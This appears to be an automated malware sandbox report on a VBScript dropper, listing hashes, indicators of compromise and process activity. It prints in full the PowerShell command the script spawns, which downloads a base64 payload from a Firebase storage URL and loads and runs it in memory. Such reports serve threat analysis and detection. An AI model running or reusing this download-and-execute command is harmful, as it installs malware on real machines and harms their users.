5ca72b40fba3400f16f4161942bf9bce3669a49c995e55fe560725915adb5516

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
24/05/2023, 01:31

Target

6f71d0ec96daa79c7ba3655e06ff8cc3f6d59c5a9cf713a5e940d8b854923b74.vbs
Size

222KB
MD5

b239d8601aa55d184cf8bf44d18e7ffb
SHA1

e91823bdf6c822ef6e10cb010ff29f79ee32d158
SHA256

6f71d0ec96daa79c7ba3655e06ff8cc3f6d59c5a9cf713a5e940d8b854923b74
SHA512

0a90dcd0cbb9bf552f0169fd19c2d8ce370be5795b72fd431c02571c760238e9df6f1b80f6cb552e3a4e0a1286b1dfdda9b88e9b5493ffbd39bf57d9033c44ca
SSDEEP

768:XnHGdUBDCKtfYjE3Luo4+eaWTYFPk9Wai2d:XHGd+CKtfSo4+4YFNai2d

Score

10^/10

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/tttttttt-e4b70.appspot.com/o/new_rump_vb.net.txt?alt=media&token=b27d42df-d877-4be0-ab6a-efe2fee3e2b3

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1140	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1140	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1140	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1380 wrote to memory of 1140	1380	WScript.exe	28
PID 1380 wrote to memory of 1140	1380	WScript.exe	28
PID 1380 wrote to memory of 1140	1380	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6f71d0ec96daa79c7ba3655e06ff8cc3f6d59c5a9cf713a5e940d8b854923b74.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/tttttttt-e4b70.appspot.com/o/new_rump_vb.net.txt?alt=media&token=b27d42df-d877-4be0-ab6a-efe2fee3e2b3'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('ø☀☞√�}П�◀@+@░�@@ø☀☞√�}П�.!}(ú░}↓*(▲☟@*⇝vgg↓*(▲☟@*⇝ssa↓*(▲☟@*⇝j4}�ø▶vjgsj∞*▲◀(piwso4}�ø▶∞*▲◀(v4*●*☞#:▶4(úø(@@*ú.0(úø(@@*ú](∞ú(.87](∞ú(.59](∞ú(4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀pø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1140

memory/1140-58-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
memory/1140-59-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/1140-60-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/1140-62-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/1140-61-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download